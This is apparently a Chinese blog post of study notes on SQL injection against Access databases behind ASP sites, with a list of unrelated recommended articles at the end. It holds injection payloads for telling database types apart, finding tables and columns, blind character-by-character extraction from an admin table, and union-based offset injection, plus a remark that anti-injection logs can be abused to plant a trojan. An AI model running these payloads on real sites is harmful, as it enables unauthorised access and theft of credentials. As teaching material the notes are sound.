-
access是没有数据库的;只有表
-
流程
- 判断数据库类型--->判断表名----> 判断列名---->判断列名长度(列中第一条记录数据长度)---->读取数据
-
asp网站常用数据库:access和mssql数据库
-
判断数据库
- 如果有msysobjects则是access数据库;如果有sysobjects则是sqlsever数据库
- and exists (select * from msysobjects)>0 access
- and exists (select * from sysobjects)>0 sqlserver
-
查表
- and exists (select * from 表名)
-
查列名
- and exists (select 列名 from 表名)
-
判断列名长度
- and (select top 1 len(列名) from 表名)>5 :列名是否大于5
-
逐字符爆破
- and (select top 1 asc(mid(user,1,1)) from admin)=97
- asc() 返回字符的ascii码
- top 1 :只返回最上面一条数据
-
偏移注入(需要结合联合查询)
- 联合查询补充字段数=当前表的字段数-查询表的字段数*N
- union select 1,2,3,4,5,,,* from admin_user :*代表了admin_user的总字段数的倍数
-
通用性防注入
- 将输入的行为存放到sqlin.asp文件中;类似于日志
- 该操作会导致文件木马程序的执行;相当于文件上传了
Access数据库
I_WORM2024-04-09 14:48
相关推荐
龙虾PRO19 小时前
高并发场景数据库调优实操:目标定位、监控方法与优化维度全解析达梦产品与服务19 小时前
SQLark 实战 | 高频 SQL 脚本的导入、管理与复用InfinitePlus20 小时前
redis数据持久化忧郁的橙子.20 小时前
深入浅出etcd与Raft:从核心组件到数据一致性原理柒和远方20 小时前
V079: Milvus 向量数据库:AI 日记本的三组件部署、集合字段建模与余弦索引鱼鳞_20 小时前
热门八股-MySQL小尘要自信20 小时前
软件远控失效以后怎么办?玩客云 + One-KVM 实现 BIOS 级远程画面与键鼠控制这个DBA有点耶20 小时前
数据库“家谱”系列之一:关系型数据库的4大核心组件详解ClouGence21 小时前
数据库迁移同步工具 CloudCanal v6.4.0.0 发布,Oracle、SAP Hana 等同步能力再升级ClouGence21 小时前
2026 数据库 CI/CD 工具大盘点:4 款热门工具怎么选?